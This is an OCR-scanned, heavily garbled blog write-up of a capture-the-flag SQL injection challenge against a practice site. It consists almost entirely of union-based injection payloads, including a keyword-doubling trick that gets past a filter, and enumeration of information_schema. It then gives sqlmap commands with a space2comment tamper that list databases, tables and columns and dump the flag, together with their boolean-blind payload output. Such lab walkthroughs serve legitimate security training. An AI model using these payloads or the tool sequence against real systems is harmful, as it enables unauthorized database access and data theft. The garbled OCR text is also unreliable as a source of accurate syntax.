S0 L B 26 ) s I N = B R — e

Gunther17 F 2017-09-03 21:01:17 KA 5133 Wi

R E B ARSCAEERAISCE, #9E CC 4.0 BY-SA RN, H8EM LECH b FERmA s,
A0 hitps/blog.csdn.net/dongyanwen6036/article/details/77825479

AL

all vch 33 S ALERS
22 R0 0T
&R

T squen
flag

1 " union select flag from flag where ‘' =" t

HEdig T A% ?
s

ID: 1 ¢ flag flag “t” =" t
nane: baloteli

BiduE T
flag
1 " unionunion selectselect flag fromfrom flag wherewhere ‘t' =" t
B ET A% ?
fi=o

ID: 1 ¢ unionselectflag fromflag where “t” =" t
nane: baloteli

T
flag

1' table name ﬁ]lﬁiﬂ;ﬁ?‘[‘l‘ﬁ?ﬁﬁ ?

fi=d

table_namejg&ifiT)

&=
W

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server wersion for the right syntax to use near ’table name’’ at line 1
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ID: 1 union select table_name from information_schema.tables where ’1'="1
nane: CHARACTER SETS

ID: I’ wnion select table name from information schema.tables vwhere 1'="1
nane: COLLATIONS

ID: I’ wnion select table name from information schema.tables vhere '1I'="1
nane: COLLATION_CHARACTER_SET_APPLICABILITY

ID: 1 union select table_name from information_schema.tables where ’1'="1
name: COLUMHS

ID: I’ wnion select table name from information schema.tables vwhere 1'="1
name: COLUNH_PRIVILEGES

ID: 1 union select table name from information_schema.tables where "1'="1
name: ENGIRES

ID: ' wion select table name from information schema.tables vwhere 1'="1
nane: EVENTS

ID: I’ wnion select table name from information schema.tables vhere '1I'="1
name: FILES

ID: 1 union select table name from information_schema.tables where "1'="1
nane: GLOBAL STATUS

ID: ' wion select table name from information schema.tables vwhere 1'="1
nane: GLOBAL VARTABLES

ID: 1 union select table name from information_schema.tables where "1'="1
nane: KEY_COLUMH_USAGE

ID: I’ wnion select table_name from information_schema.tables where *1'="1
nane: PARAWETERS

ID: I union select table name from information_schema.tables vhere *1I'="1
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ID: 1° wnion select table name from information schema. tables where '1'="1
nane: INNODB BUFFER_PAGE

ID: 1° wnion select table name from information schema. tables where '1'="1
nane: INNODE_TRX

ID: 1° wnion select table name from information schema. tables where '1'="1
name: INNODB_BUFFER_POOL_STATS

ID: 1° wnion select table name from information schema. tables where '1'="1
name: INHODB _LOCK_WAITS

ID: 1' union select table name from information schema. tables where '1'="1
nane: INNODE_CHPFMEN
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name: IHWODB_LOCKES
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You have an error in your SQL syntax; check the marmual that corresponds to your MySQL server version for the right syntax to use near at line 1
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ID: 1° umion select flag fron flag where '1'="1
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ID: 1° wmion select flag from flag where '1°'="1
name: flag {fou @3 ==~ 21 900d}
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E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs



ACTFh=qlmaprpython sqlmap. py —u http://ctfb. shivanbar. com/web/index 2. php?id=1 --tamper=spaceZcomment --dbs
(1. 1. 8. 16#dev]

|7 http://sqlmap. org

: Usage of sglmap for attacking tarsets without prior mutual consent is 1llegal. It is the end user s responsibility to obl
jponsible for any misuse or damage caused by this program

[*] starting at 21:26:5%

sqlmap resumed the following injection point(s) from stored session:

aramster: id (GET)
Type: boolean-based blind
Title: AMD koolean-based blind - WHERE or HAVING clause
Payload: id=1" AND 1071=1071 AND ' DU¥m =" DUXm

[21:27:00] [INFO] the back-end DEMS is MySQL

eb server operating system: Windows

eb application technology: Apache 2.4, 18, PHP 5.2, 17
back-end DBMS: MySOL S

available databasses [3]:
[+] information_schema
[*] test

BF] webl

[*] shutting down at 21:27:00
ACTFY 2qglmap>
SEweb 1 53 B Fh AR

E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D webl --table

SCTFvsglmaprpython sqlmap. py —u http://ctf5. shivanbar. com/web/index_ 2. php7id=1 -—tamper=spacelcomment -0 webl ——table
{L. 1. 8. 16#dev}

http://sglmap. org

[1] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’ = responsibility to obey
fponsikle for any misuse or damage caused by this program

[*] starting at 21:29:56

=glmap resumed the following injesction point(s) from stored session:

arameter: id (GET)
Type: boolean-based blind
Title: AMD boolean-based blind - WHERE or HAVING clause
Payload: id=1" 8HD 1071=1071 &ND *Dl¥m =" DITEm

[21:26:57] [INFO] the back-end DBMS is MySOL

ehb server operating system: Windows

eb application technology: Apache 2.4, 18, PHP 5.Z2. 17
back-end DBNS: MvS0L &

Database: webl

[*] shutting down at 21:29:57
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E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D webl -T flag --column




ACTFYsqlmaprpython sqlmap. py —u http://ctfb. shivanbar. com/web/index 2. php%id=1 --tamper=spaceZcomment -D webl -T flag --colum
(1. 1. 8. 16#dev]

|7 http://sqlmap. org

[1] legal disclaimer: Usage of sglmap for attacking targets without prior mutual consent is 1llegal. It is the end user’ s responsibility t
lponsible for any misuse or damage caused by this program

[*] starting at 21:31:33

sqlmap resumed the following injection point(s) from stored session:

arameter: id (GET)

Type: boolean-based blind

Title: AMD boolean-based blind - WHERE or HAVING clause
Payload: id=1" AND 1071=1071 AND *DU¥m =" DU¥m

[21:31:39] [INFO] the back-end DEMS is MySOL

eh server operating system: Windows

eb application technology: Apache 2.4, 18, PHP 5.2, 17
back-end DBNS: MwS0L &

Database: webl
; flag
[2 colums]
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E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D webl -T flag -C flag --dump

ACTFh=qlmaprpython sqlmap. py —u http://ctfb. shivanbar. com/web/index_ 2. php?id=1 --tamper=spaceZcomment -D webl -T flag -C flag -——cdump
(1. 1. 8. 16#dev]
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[1] legal disclaimer: Usage of sglmap for attacking targets without prior mutual consent is 1llegal. It is the end user’ s responsibility to obe
lponsible for any misuse or damage caused by this program

[*] starting at 21:33:38

salmap resumed the following injection point(s) from stored session:

aramster: id (GET)
Type: boolean-based blind
Title: AMD koolean-based blind - WHERE or HAVING clause
Payload: id=1" AND 1071=1071 AND *DU¥m =" DU¥m

[21:33:38] [INFO] the back-end DEMS is MySOL

eb server operating system: Windows

eb application technology: Apache 2.4, 18, PHP 5. 2. 17
back-end DBNS: MySOL S

PDatabase: webl
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[*] shutting down at 21:33:43

ACTF zglmap >,
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